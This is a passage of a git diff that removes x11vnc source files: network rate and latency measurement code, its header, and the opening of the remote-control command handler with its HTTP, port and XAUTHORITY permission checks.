- dtime0(&tm);
- dt3 = 0.0;
-
- /*
- * when req1 > 0 and mod1 == 0, we say
- * that is the "ping" time.
- */
- while (1) {
- int req0, req1, mod0, mod1;
-
- if (use_threads) LOCK(cl->updateMutex);
-
- req0 = sraRgnCountRects(cl->requestedRegion);
- mod0 = sraRgnCountRects(cl->modifiedRegion);
-
- if (use_threads) UNLOCK(cl->updateMutex);
-
- if (i == 0) {
- rfbPE(0);
- } else {
- if (use_threads) {
- usleep(1000);
- } else {
- /* try to get it all */
- rfbCFD(1000*1000);
- }
- }
- if (OUCH && ouch_db) fprintf(stderr, "***OUCH-E\n");
- if (OUCH) goto ouch;
- dt = dtime(&tm);
- i++;
-
- dt3 += dt;
- if (dt3 > spin_lat_max) {
- break;
- }
-
- if (use_threads) LOCK(cl->updateMutex);
-
- req1 = sraRgnCountRects(cl->requestedRegion);
- mod1 = sraRgnCountRects(cl->modifiedRegion);
-
- if (use_threads) UNLOCK(cl->updateMutex);
-
-if (db) fprintf(stderr, "dt3 calc: num rects req: %d/%d mod: %d/%d "
- "fbu-sent: %d dt: %.4f dt3: %.4f tm: %.4f\n",
- req0, req1, mod0, mod1,
-#if 0
- cl->framebufferUpdateMessagesSent,
-#else
-#if LIBVNCSERVER_HAS_STATS
- rfbStatGetMessageCountSent(cl, rfbFramebufferUpdate),
-#endif
-#endif
- dt, dt3, tm);
-
- if (req1 != 0 && mod1 == 0) {
- dts[got_t3++] = dt3;
- break;
- }
- }
- }
-
- if (! got_t3) {
- dt3 = 0.0;
- } else {
- if (got_t3 == 1) {
- dt3 = dts[0];
- } else if (got_t3 == 2) {
- dt3 = dts[1];
- } else {
- if (dts[2] > 0.0) {
- double rat = dts[1]/dts[2];
- if (rat > 0.5 && rat < 2.0) {
- dt3 = dts[1]+dts[2];
- dt3 *= 0.5;
- } else {
- dt3 = dts[1];
- }
- } else {
- dt3 = dts[1];
- }
- }
- }
- }
-
- ouch:
-
- screen->deferUpdateTime = defer;
- screen->httpDir = httpdir;
-
- if (OUCH && ouch_db) fprintf(stderr, "***OUCH-F\n");
- if (OUCH) break;
-
- dt = dt1 + dt2;
-
-
- if (dt3 <= dt2/2.0) {
- /* guess only 1/2 a ping for reply... */
- dt = dt - dt3/2.0;
- }
-
- cmp_rate = cbs/dt;
- raw_rate = rbs/dt;
-
- if (cmp_rate > cmp_max) {
- cmp_rate = cmp_max;
- }
- if (cmp_rate <= cmp_min) {
- cmp_rate = cmp_min;
- }
-
- cd->send_cmp_rate = cmp_rate;
- cd->send_raw_rate = raw_rate;
-
- if (dt3 > lat_max) {
- dt3 = lat_max;
- }
- if (dt3 <= lat_min) {
- dt3 = lat_min;
- }
-
- cd->latency = dt3;
-
- rfbLog("client %d network rate %.1f KB/sec (%.1f eff KB/sec)\n",
- cd->uid, cmp_rate/1000.0, raw_rate/1000.0);
- rfbLog("client %d latency: %.1f ms\n", cd->uid, 1000.0*dt3);
- rfbLog("dt1: %.4f, dt2: %.4f dt3: %.4f bytes: %d\n",
- dt1, dt2, dt3, cbs);
- msg = 1;
- }
-
- if (msg) {
- int link, latency, netrate;
- char *str = "error";
-
- link = link_rate(&latency, &netrate);
- if (link == LR_UNSET) {
- str = "LR_UNSET";
- } else if (link == LR_UNKNOWN) {
- str = "LR_UNKNOWN";
- } else if (link == LR_DIALUP) {
- str = "LR_DIALUP";
- } else if (link == LR_BROADBAND) {
- str = "LR_BROADBAND";
- } else if (link == LR_LAN) {
- str = "LR_LAN";
- }
- rfbLog("link_rate: %s - %d ms, %d KB/s\n", str, latency,
- netrate);
- }
-
- if (init) {
- if (nclients) {
- screen->displayHook = measure_display_hook;
- }
- } else {
- screen->displayHook = orig_display_hook;
- }
-}
-
diff --git a/x11vnc/rates.h b/x11vnc/rates.h
deleted file mode 100644
index 3de8c4e..0000000
--- a/x11vnc/rates.h
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_RATES_H
-#define _X11VNC_RATES_H
-
-/* -- rates.h -- */
-
-extern int measure_speeds;
-extern int speeds_net_rate;
-extern int speeds_net_rate_measured;
-extern int speeds_net_latency;
-extern int speeds_net_latency_measured;
-extern int speeds_read_rate;
-extern int speeds_read_rate_measured;
-
-extern int get_cmp_rate(void);
-extern int get_raw_rate(void);
-extern void initialize_speeds(void);
-extern int get_read_rate(void);
-extern int link_rate(int *latency, int *netrate);
-extern int get_net_rate(void);
-extern int get_net_latency(void);
-extern void measure_send_rates(int init);
-
-#endif /* _X11VNC_RATES_H */
diff --git a/x11vnc/remote.c b/x11vnc/remote.c
deleted file mode 100644
index 3e9e5f8..0000000
--- a/x11vnc/remote.c
+++ /dev/null
@@ -1,6323 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- remote.c -- */
-
-#include "x11vnc.h"
-#include "inet.h"
-#include "xwrappers.h"
-#include "xevents.h"
-#include "xinerama.h"
-#include "xrandr.h"
-#include "xdamage.h"
-#include "xrecord.h"
-#include "xkb_bell.h"
-#include "win_utils.h"
-#include "screen.h"
-#include "cleanup.h"
-#include "gui.h"
-#include "solid.h"
-#include "user.h"
-#include "rates.h"
-#include "scan.h"
-#include "connections.h"
-#include "pointer.h"
-#include "cursor.h"
-#include "userinput.h"
-#include "keyboard.h"
-#include "selection.h"
-#include "unixpw.h"
-#include "uinput.h"
-#include "userinput.h"
-#include "avahi.h"
-#include "sslhelper.h"
-
-int send_remote_cmd(char *cmd, int query, int wait);
-int do_remote_query(char *remote_cmd, char *query_cmd, int remote_sync,
- int qdefault);
-void check_black_fb(void);
-int check_httpdir(void);
-void http_connections(int on);
-int remote_control_access_ok(void);
-char *process_remote_cmd(char *cmd, int stringonly);
-
-
-static char *add_item(char *instr, char *item);
-static char *delete_item(char *instr, char *item);
-static void if_8bpp_do_new_fb(void);
-static void reset_httpport(int old, int newp);
-static void reset_rfbport(int old, int newp) ;
-
-char *query_result = NULL;
-
-/*
- * for the wild-n-crazy -remote/-R interface.
- */
-int send_remote_cmd(char *cmd, int query, int wait) {
- FILE *in = NULL;
-
- if (query_result != NULL) {
- free(query_result);
- query_result = NULL;
- }
-
- if (client_connect_file) {
- umask(077);
- in = fopen(client_connect_file, "w");
- if (in == NULL) {
- fprintf(stderr, "send_remote_cmd: could not open "
- "connect file \"%s\" for writing\n",
- client_connect_file);
- perror("fopen");
- return 1;
- }
- } else if (x11vnc_remote_prop == None) {
- initialize_x11vnc_remote_prop();
- if (x11vnc_remote_prop == None) {
- fprintf(stderr, "send_remote_cmd: could not obtain "
- "X11VNC_REMOTE X property\n");
- return 1;
- }
- }
-
- if (in != NULL) {
- fprintf(stderr, ">>> sending remote command: \"%s\"\n via"
- " connect file: %s\n", cmd, client_connect_file);
- fprintf(in, "%s\n", cmd);
- fclose(in);
- } else {
- fprintf(stderr, ">>> sending remote command: \"%s\" via"
- " X11VNC_REMOTE X property.\n", cmd);
- set_x11vnc_remote_prop(cmd);
- if (dpy) {
- XFlush_wr(dpy);
- }
- }
-
- if (query || wait) {
- char line[X11VNC_REMOTE_MAX];
- int rc=1, i=0, max=140, ms_sl=25;
-
- if (!strcmp(cmd, "cmd=stop")) {
- max = 40;
- }
- if (strstr(cmd, "script:")) {
- max = 400;
- }
- if (strstr(cmd, "bcx_xattach:")) {
- max = 400;
- }
- if (getenv("X11VNC_SYNC_TIMEOUT")) {
- max = (int) ((1000. * atof(getenv("X11VNC_SYNC_TIMEOUT")))/ms_sl);
- }
- for (i=0; i<max; i++) {
- if (i==0) {
- usleep(10 * 1000);
- } else {
- usleep(ms_sl * 1000);
- }
- if (client_connect_file) {
- char *q;
- in = fopen(client_connect_file, "r");
- if (in == NULL) {
- fprintf(stderr, "send_remote_cmd: could"
- " not open connect file \"%s\" for"
- " writing\n", client_connect_file);
- perror("fopen");
- return 1;
- }
- fgets(line, X11VNC_REMOTE_MAX, in);
- fclose(in);
- q = line;
- while (*q != '\0') {
- if (*q == '\n') *q = '\0';
- q++;
- }
- } else {
- read_x11vnc_remote_prop(1);
- strncpy(line, x11vnc_remote_str,
- X11VNC_REMOTE_MAX);
- }
- if (strcmp(cmd, line)) {
- if (query || wait) {
- query_result = strdup(line);
- fprintf(stdout, "%s\n", line);
- fflush(stdout);
- }
- rc = 0;
- break;
- }
- }
- if (rc) {
- fprintf(stderr, "error: could not connect to "
- "an x11vnc server at %s (rc=%d)\n",
- client_connect_file ? client_connect_file
- : DisplayString(dpy), rc);
- }
- return rc;
- }
- return 0;
-}
-
-int do_remote_query(char *remote_cmd, char *query_cmd, int remote_sync,
- int qdefault) {
- char *rcmd = NULL, *qcmd = NULL;
- int rc = 1, direct = 0;
-
- if (qdefault && !query_cmd) {
- query_cmd = remote_cmd;
- remote_cmd = NULL;
- }
- if (remote_cmd && strstr(remote_cmd, "DIRECT:") == remote_cmd) {
- direct = 1;
- remote_cmd += strlen("DIRECT:");
- }
- if (query_cmd && strstr(query_cmd, "DIRECT:") == query_cmd) {
- direct = 1;
- query_cmd += strlen("DIRECT:");
- }
-
- if (remote_cmd) {
- rcmd = (char *) malloc(strlen(remote_cmd) + 5);
- strcpy(rcmd, "cmd=");
- strcat(rcmd, remote_cmd);
- }
- if (query_cmd) {
- qcmd = (char *) malloc(strlen(query_cmd) + 5);
- strcpy(qcmd, "qry=");
- strcat(qcmd, query_cmd);
- }
- if (direct) {
- char *res;
- if (rcmd) {
- res = process_remote_cmd(rcmd, 1);
- fprintf(stdout, "%s\n", res);
- }
- if (qcmd) {
- res = process_remote_cmd(qcmd, 1);
- fprintf(stdout, "%s\n", res);
- }
- fflush(stdout);
- return 0;
- }
- if (qdefault) {
- char *res;
- if (!qcmd) {
- return 1;
- }
- res = process_remote_cmd(qcmd, 1);
- fprintf(stdout, "%s\n", res);
- fflush(stdout);
- return 0;
- }
-
- if (rcmd && qcmd) {
- rc = send_remote_cmd(rcmd, 0, 1);
- if (rc) {
- free(rcmd);
- free(qcmd);
- return(rc);
- }
- rc = send_remote_cmd(qcmd, 1, 1);
- } else if (rcmd) {
- rc = send_remote_cmd(rcmd, 0, remote_sync);
- free(rcmd);
- } else if (qcmd) {
- rc = send_remote_cmd(qcmd, 1, 1);
- free(qcmd);
- }
- return rc;
-}
-
-static char *add_item(char *instr, char *item) {
- char *p, *str;
- int len, saw_item = 0;
-
- if (! instr || *instr == '\0') {
- str = strdup(item);
- return str;
- }
- len = strlen(instr) + 1 + strlen(item) + 1;
- str = (char *) malloc(len);
- str[0] = '\0';
-
- /* n.b. instr will be modified; caller replaces with returned string */
- p = strtok(instr, ",");
- while (p) {
- if (!strcmp(p, item)) {
- if (saw_item) {
- p = strtok(NULL, ",");
- continue;
- }
- saw_item = 1;
- } else if (*p == '\0') {
- p = strtok(NULL, ",");
- continue;
- }
- if (str[0]) {
- strcat(str, ",");
- }
- strcat(str, p);
- p = strtok(NULL, ",");
- }
- if (! saw_item) {
- if (str[0]) {
- strcat(str, ",");
- }
- strcat(str, item);
- }
- return str;
-}
-
-static char *delete_item(char *instr, char *item) {
- char *p, *str;
- int len;
-
- if (! instr || *instr == '\0') {
- str = strdup("");
- return str;
- }
- len = strlen(instr) + 1;
- str = (char *) malloc(len);
- str[0] = '\0';
-
- /* n.b. instr will be modified; caller replaces with returned string */
- p = strtok(instr, ",");
- while (p) {
- if (!strcmp(p, item) || *p == '\0') {
- p = strtok(NULL, ",");
- continue;
- }
- if (str[0]) {
- strcat(str, ",");
- }
- strcat(str, p);
- p = strtok(NULL, ",");
- }
- return str;
-}
-
-static void if_8bpp_do_new_fb(void) {
- if (bpp == 8) {
- do_new_fb(0);
- } else {
- rfbLog(" bpp(%d) is not 8bpp, not resetting fb\n", bpp);
- }
-}
-
-void check_black_fb(void) {
- if (!screen) {
- return;
- }
- if (new_fb_size_clients(screen) != client_count) {
- rfbLog("trying to send a black fb for non-newfbsize"
- " clients %d != %d\n", client_count,
- new_fb_size_clients(screen));
- push_black_screen(4);
- }
-}
-
-int check_httpdir(void) {
- if (http_dir && http_dir[0] != '\0') {
- return 1;
- } else {
- char *prog = NULL, *httpdir, *q;
- struct stat sbuf;
- int len;
-
- rfbLog("check_httpdir: trying to guess httpdir... %s\n", program_name);
- if (program_name[0] == '/') {
- prog = strdup(program_name);
- } else {
- char cwd[1024];
- getcwd(cwd, 1024);
- len = strlen(cwd) + 1 + strlen(program_name) + 1;
- prog = (char *) malloc(len);
- snprintf(prog, len, "%s/%s", cwd, program_name);
- if (stat(prog, &sbuf) != 0) {
- char *path = strdup(getenv("PATH"));
- char *p, *base;
- base = strrchr(program_name, '/');
- if (base) {
- base++;
- } else {
- base = program_name;
- }
-
- p = strtok(path, ":");
- while(p) {
- if (prog) {
- free(prog);
- prog = NULL;
- }
- len = strlen(p) + 1 + strlen(base) + 1;
- prog = (char *) malloc(len);
- snprintf(prog, len, "%s/%s", p, base);
- if (stat(prog, &sbuf) == 0) {
- break;
- }
- p = strtok(NULL, ":");
- }
- free(path);
- }
- }
- /*
- * /path/to/bin/x11vnc
- * /path/to/bin/../share/x11vnc/classes
- * 12345678901234567
- * /path/to/bin/../share/x11vnc/classes/ssl
- * 123456789012345678901
- * 21
- */
- if ((q = strrchr(prog, '/')) == NULL) {
- rfbLog("check_httpdir: bad program path: %s\n", prog);
- free(prog);
- rfbLog("check_httpdir: *HTTP disabled* Use -httpdir path\n");
- return 0;
- }
-
- len = strlen(prog) + 21 + 1;
- *q = '\0';
- httpdir = (char *) malloc(len);
- if (use_stunnel && http_ssl) {
- snprintf(httpdir, len, "%s/../share/x11vnc/classes/ssl", prog);
- } else if (!enc_str && (use_openssl || use_stunnel || http_ssl)) {
- snprintf(httpdir, len, "%s/../share/x11vnc/classes/ssl", prog);
- } else {
- snprintf(httpdir, len, "%s/../share/x11vnc/classes", prog);
- }
- if (stat(httpdir, &sbuf) != 0) {
- if (use_stunnel && http_ssl) {
- snprintf(httpdir, len, "%s/../classes/ssl", prog);
- } else if (!enc_str && (use_openssl || use_stunnel || http_ssl)) {
- snprintf(httpdir, len, "%s/../classes/ssl", prog);
- } else {
- snprintf(httpdir, len, "%s/../classes", prog);
- }
- }
- free(prog);
-
- if (stat(httpdir, &sbuf) == 0) {
- /* good enough for me */
- rfbLog("check_httpdir: guessed directory:\n");
- rfbLog(" %s\n", httpdir);
- http_dir = httpdir;
- return 1;
- } else {
- /* try some hardwires: */
- int i;
- char **use;
- char *list[] = {
- "/usr/local/share/x11vnc/classes",
- "/usr/share/x11vnc/classes",
- NULL
- };
- char *ssllist[] = {
- "/usr/local/share/x11vnc/classes/ssl",
- "/usr/share/x11vnc/classes/ssl",
- NULL
- };
- if (use_stunnel && http_ssl) {
- use = ssllist;
- } else if (!enc_str && (use_openssl || use_stunnel || http_ssl)) {
- use = ssllist;
- } else {
- use = list;
- }
- i = 0;
- while (use[i] != NULL) {
- if (stat(use[i], &sbuf) == 0) {
- http_dir = strdup(use[i]);
- return 1;
- }
- i++;
- }
-
- rfbLog("check_httpdir: bad guess:\n");
- rfbLog(" %s\n", httpdir);
- rfbLog("check_httpdir: *HTTP disabled* Use -httpdir path\n");
- return 0;
- }
- }
-}
-
-static void rfb_http_init_sockets(void) {
- in_addr_t iface;
- if (!screen) {
- return;
- }
- iface = screen->listenInterface;
- if (getenv("X11VNC_HTTP_LISTEN_LOCALHOST")) {
- rfbLog("http_connections: HTTP listen on localhost only. (not HTTPS)\n");
- screen->listenInterface = htonl(INADDR_LOOPBACK);
- }
- rfbHttpInitSockets(screen);
- if (noipv4 || getenv("IPV4_FAILS")) {
- if (getenv("IPV4_FAILS")) {
- rfbLog("TESTING: IPV4_FAILS for rfb_http_init_sockets()\n");
- }
- if (screen->httpListenSock > -1) {
- close(screen->httpListenSock);
- screen->httpListenSock = -1;
- }
- }
- screen->listenInterface = iface;
-}
-
-void http_connections(int on) {
- if (!screen) {
- return;
- }
- if (on) {
- rfbLog("http_connections: turning on http service.\n");
-
- if (inetd && use_openssl) {
- /*
- * try to work around rapid fire https requests
- * in inetd mode... ugh.
- */
- if (screen->httpPort == 0) {
- int port = find_free_port(5800, 5850);
- if (port) {
- /* mutex */
- screen->httpPort = port;
- }
- }
- }
- screen->httpInitDone = FALSE;
- if (check_httpdir()) {
- int fd6 = -1;
- char *save = listen_str6;
-
- screen->httpDir = http_dir;
-
- rfb_http_init_sockets();
-
- if (getenv("X11VNC_HTTP_LISTEN_LOCALHOST")) {
- listen_str6 = "localhost";
- }
-
- if (screen->httpPort != 0 && screen->httpListenSock < 0) {
- rfbLog("http_connections: failed to listen on http port: %d\n", screen->httpPort);
- if (ipv6_listen) {
- fd6 = listen6(screen->httpPort);
- }
- if (fd6 < 0) {
- clean_up_exit(1);
- }
- rfbLog("http_connections: trying IPv6 only mode.\n");
- }
- if (ipv6_listen && screen->httpPort > 0) {
- if (fd6 < 0) {
- fd6 = listen6(screen->httpPort);
- }
- ipv6_http_fd = fd6;
- if (ipv6_http_fd >= 0) {
- rfbLog("http_connections: Listening %s on IPv6 port %d (socket %d)\n",
- screen->httpListenSock < 0 ? "only" : "also",
- screen->httpPort, ipv6_http_fd);
- }
- }
- listen_str6 = save;
- }
- } else {
- rfbLog("http_connections: turning off http service.\n");
- if (screen->httpListenSock > -1) {
- close(screen->httpListenSock);
- screen->httpListenSock = -1;
- }
- screen->httpDir = NULL;
- if (ipv6_http_fd >= 0) {
- close(ipv6_http_fd);
- ipv6_http_fd = -1;
- }
- }
-}
-
-static void reset_httpport(int old, int newp) {
- int hp = newp;
-
- if (! screen->httpDir) {
- return;
- } else if (inetd) {
- rfbLog("reset_httpport: cannot set httpport: %d in inetd.\n", hp);
- return;
- } else if (!screen) {
- rfbLog("reset_httpport: no screen.\n");
- return;
- } else if (hp < 0) {
- rfbLog("reset_httpport: invalid httpport: %d\n", hp);
- return;
- } else if (hp == old) {
- rfbLog("reset_httpport: unchanged httpport: %d\n", hp);
- return;
- }
-
- if (screen->httpListenSock > -1) {
- close(screen->httpListenSock);
- screen->httpListenSock = -1;
- }
-
- screen->httpPort = hp;
- screen->httpInitDone = FALSE;
-
- rfbLog("reset_httpport: setting httpport %d -> %d.\n",
- old == -1 ? hp : old, hp);
-
- if (noipv4 || getenv("IPV4_FAILS")) {
- if (getenv("IPV4_FAILS")) {
- rfbLog("TESTING: IPV4_FAILS for reset_httpport()\n");
- }
- } else if (screen->httpPort == 0) {
- ;
- } else {
- rfb_http_init_sockets();
- }
-
- if (screen->httpPort != 0 && screen->httpListenSock < 0) {
- rfbLog("reset_httpport: failed to listen on http port: %d\n",
- screen->httpPort);
- }
-
- if (ipv6_http_fd >= 0) {
- close(ipv6_http_fd);
- ipv6_http_fd = -1;
- }
- if (ipv6_listen && screen->httpPort > 0) {
- ipv6_http_fd = listen6(screen->httpPort);
- rfbLog("reset_httpport: ipv6_http_fd: %d port: %d\n",
- ipv6_http_fd, screen->httpPort);
- }
-}
-
-static void reset_rfbport(int old, int newp) {
- int rp = newp;
-
- if (inetd) {
- rfbLog("reset_rfbport: cannot set rfbport: %d in inetd.\n", rp);
- return;
- } else if (!screen) {
- rfbLog("reset_rfbport: no screen.\n");
- return;
- } else if (rp < 0) {
- rfbLog("reset_rfbport: invalid rfbport: %d\n", rp);
- return;
- } else if (rp == old) {
- rfbLog("reset_rfbport: unchanged rfbport: %d\n", rp);
- return;
- }
-
- rfbLog("reset_rfbport: setting rfbport %d -> %d.\n", old == -1 ? rp : old, rp);
-
- screen->port = rp;
-
- if (use_openssl) {
- openssl_port(1);
- if (openssl_sock < 0 && openssl_sock6 < 0) {
- rfbLog("reset_rfbport: warning could not listen on port: %d\n",
- screen->port);
- } else {
- set_vnc_desktop_name();
- }
- if (https_port_num >= 0) {
- https_port(1);
- }
- return;
- }
-
- if (screen->listenSock >= 0) {
- FD_CLR(screen->listenSock, &(screen->allFds));
- close(screen->listenSock);
- screen->listenSock = -1;
- }
-
- if (noipv4 || getenv("IPV4_FAILS")) {
- if (getenv("IPV4_FAILS")) {
- rfbLog("TESTING: IPV4_FAILS for reset_rfbport()\n");
- }
- } else {
- screen->listenSock = listen_tcp(screen->port, screen->listenInterface, 0);
- if (screen->listenSock >= 0) {
- if (screen->listenSock > screen->maxFd) {
- screen->maxFd = screen->listenSock;
- }
- FD_SET(screen->listenSock, &(screen->allFds));
- }
- }
-
- if (ipv6_listen_fd >= 0) {
- close(ipv6_listen_fd);
- ipv6_listen_fd = -1;
- }
- if (ipv6_listen && screen->port > 0) {
- ipv6_listen_fd = listen6(screen->port);
- rfbLog("reset_rfbport: ipv6_listen_fd: %d port: %d\n",
- ipv6_listen_fd, screen->port);
- }
-
- if (screen->listenSock < 0 && ipv6_listen_fd < 0) {
- rfbLog("reset_rfbport: warning could not listen on port: %d\n", screen->port);
- } else {
- set_vnc_desktop_name();
- }
-}
-
-/*
- * Do some sanity checking of the permissions on the XAUTHORITY and the
- * -connect file. This is -privremote. What should be done is check
- * for an empty host access list, currently we lazily do not bring in
- * libXau yet.
- */
-int remote_control_access_ok(void) {
-#if NO_X11
- return 0;
-#else
- struct stat sbuf;
-
- if (client_connect_file) {
- if (stat(client_connect_file, &sbuf) == 0) {
- if (sbuf.st_mode & S_IWOTH) {
- rfbLog("connect file is writable by others.\n");
- rfbLog(" %s\n", client_connect_file);
- return 0;
- }
- if (sbuf.st_mode & S_IWGRP) {
- rfbLog("connect file is writable by group.\n");
- rfbLog(" %s\n", client_connect_file);
- return 0;
- }
- }
- }
-
- if (dpy) {
- char tmp[1000];
- char *home, *xauth;
- char *dpy_str = DisplayString(dpy);
- Display *dpy2;
- XHostAddress *xha;
- Bool enabled;
- int n;
-
- home = get_home_dir();
- if (getenv("XAUTHORITY") != NULL) {
- xauth = getenv("XAUTHORITY");
- } else if (home) {
- int len = 1000 - strlen("/.Xauthority") - 1;
- strncpy(tmp, home, len);
- strcat(tmp, "/.Xauthority");
- xauth = tmp;
- } else {
- rfbLog("cannot determine default XAUTHORITY.\n");
- return 0;
- }
- if (home) {
- free(home);
- }
- if (stat(xauth, &sbuf) == 0) {
- if (sbuf.st_mode & S_IWOTH) {
- rfbLog("XAUTHORITY is writable by others!!\n");
- rfbLog(" %s\n", xauth);
- return 0;
- }
- if (sbuf.st_mode & S_IWGRP) {
- rfbLog("XAUTHORITY is writable by group!!\n");
- rfbLog(" %s\n", xauth);
- return 0;
- }
- if (sbuf.st_mode & S_IROTH) {
- rfbLog("XAUTHORITY is readable by others.\n");
- rfbLog(" %s\n", xauth);
- return 0;
- }
- if (sbuf.st_mode & S_IRGRP) {
- rfbLog("XAUTHORITY is readable by group.\n");
- rfbLog(" %s\n", xauth);
- return 0;
- }
- }
-
- X_LOCK;
- xha = XListHosts(dpy, &n, &enabled);
- X_UNLOCK;
- if (! enabled) {
- rfbLog("X access control is disabled, X clients can\n");
- rfbLog(" connect from any host. Run 'xhost -'\n");
- return 0;
- }
- if (xha) {
- int i;
- rfbLog("The following hosts can connect w/o X11 "
- "auth:\n");
- for (i=0; i<n; i++) {
- if (xha[i].family == FamilyInternet) {
- char *str = raw2host(xha[i].address,
- xha[i].length);
- char *ip = raw2ip(xha[i].address);
- rfbLog(" %s/%s\n", str, ip);
- free(str);
- free(ip);
- } else {
- rfbLog(" unknown-%d\n", i+1);
- }
- }
- XFree_wr(xha);
- return 0;
- }
-
- if (getenv("XAUTHORITY")) {
- xauth = strdup(getenv("XAUTHORITY"));
- } else {
- xauth = NULL;
- }
- set_env("XAUTHORITY", "/impossible/xauthfile");
-
- fprintf(stderr, "\nChecking if display %s requires "
- "XAUTHORITY\n", dpy_str);
- fprintf(stderr, " -- (ignore any Xlib: errors that"
- " follow) --\n");
- dpy2 = XOpenDisplay_wr(dpy_str);
- fflush(stderr);
- fprintf(stderr, " -- (done checking) --\n\n");
-
- if (xauth) {
- set_env("XAUTHORITY", xauth);
- free(xauth);
- } else {
- xauth = getenv("XAUTHORITY");
- if (xauth) {
- *(xauth-2) = '_'; /* yow */
- }
- }
- if (dpy2) {
- rfbLog("XAUTHORITY is not required on display.\n");
- rfbLog(" %s\n", DisplayString(dpy));
- XCloseDisplay_wr(dpy2);
- dpy2 = NULL;
- return 0;
- }
-
- }
- return 1;
-#endif /* NO_X11 */
-}
-
-#ifdef MACOSX
-void macosxCG_keycode_inject(int down, int keycode);
-#endif
-
-int rc_npieces = 0;
-
-/*
- * Huge, ugly switch to handle all remote commands and queries
- * -remote/-R and -query/-Q.
- */
-char *process_remote_cmd(char *cmd, int stringonly) {
-#if REMOTE_CONTROL
- char *p = cmd;
- char *co = "";
- char buf[X11VNC_REMOTE_MAX];
- int bufn = X11VNC_REMOTE_MAX;
- int query = 0;
- static char *prev_cursors_mode = NULL;
-
- if (!query_default && !accept_remote_cmds) {
- rfbLog("remote commands disabled: %s\n", cmd);
- return NULL;
- }
- if (unixpw_in_progress) {
- rfbLog("skip remote command: %s unixpw_in_progress.\n", cmd);
- return NULL;
- }
-
- if (!query_default && priv_remote) {
- if (! remote_control_access_ok()) {
- rfbLog("** Disabling remote commands in -privremote "
- "mode.\n");
- accept_remote_cmds = 0;
- return NULL;
- }
- }
-
-
- strcpy(buf, "");
- if (strstr(cmd, "cmd=") == cmd) {
- p += strlen("cmd=");
- if (strstr(p, "script:") == p) {
- char *s, *q, **pieces, tmp[1024];
- int k = 0, n = 0, dp = 1;
-
- p += strlen("script:");
-
- if (strstr(p, "file=") == p) {
- FILE *f;
- struct stat sbuf;
-
- p += strlen("file=");
-
- rfbLog("reading script from file '%s'\n", p);
-
- if (stat(p, &sbuf) != 0) {
- rfbLogPerror("stat");
- return NULL;
- }
-
- f = fopen(p, "r");
- if (f == NULL) {
- rfbLogPerror("fopen");
- return NULL;
- }
-
- p = (char *) calloc(sbuf.st_size + 1, 1);
- dp = 0;
- while (fgets(tmp, 1024, f) != NULL) {
- char *c = strchr(tmp, '#');
- if (c) *c = '\0';
- if (strlen(p) + strlen(tmp) > (size_t) sbuf.st_size) {
- break;
- }
- strcat(p, tmp);
- }
- fclose(f);
- }
-
- pieces = (char **) malloc(strlen(p) * sizeof(char *));
- if (dp) {
- s = strdup(p);
- } else {
- s = p;
- }
- q = strtok(s, ";");
-
- while (q) {
- char *t = lblanks(q);
- if (strstr(t, "cmd=") != t && strstr(t, "qry=") != t) {
- strcpy(tmp, "cmd=");
- } else {
- strcpy(tmp, "");
- }
- strncat(tmp, t, 1000);
- pieces[n] = strdup(tmp);
- n++;
- q = strtok(NULL, ";");
- }
- free(s);
-
- for (k=0; k < n; k++) {
- char *c = pieces[k];
- char *t = c + strlen(c) - 1; /* shortest is "cmd=" */
- while (isspace((unsigned char) (*t))) {
- *t = '\0';
- if (t <= c) break;
- t--;
- }
- if (k < n - 1) {
- process_remote_cmd(c, 1);
- } else {
- process_remote_cmd(c, 0);
- }
- }
- for (k=0; k<n; k++) {
- free(pieces[k]);
- }
- free(pieces);
- return NULL;
- }
- } else if (strstr(cmd, "qry=") == cmd) {
- query = 1;
- if (strchr(cmd, ',')) {
- /* comma separated batch mode */
- char *s, *q, *res, **pieces, tmp[1024];
- int k = 0, n = 0;
-
- pieces = (char **) malloc(strlen(cmd) * sizeof(char *));
- s = strdup(cmd + strlen("qry="));
- q = strtok(s, ",");
-
- while (q) {
- strcpy(tmp, "qry=");
- strncat(tmp, q, 1000);
- pieces[n] = strdup(tmp);
- n++;
- q = strtok(NULL, ",");
- }
- free(s);
-
- rc_npieces = n;
- strcpy(buf, "");
- for (k=0; k < n; k++) {
- res = process_remote_cmd(pieces[k], 1);
- if (res && strlen(buf)+strlen(res)
- >= X11VNC_REMOTE_MAX - 1) {
- rfbLog("overflow in process_remote_cmd:"
- " %s -- %s\n", buf, res);
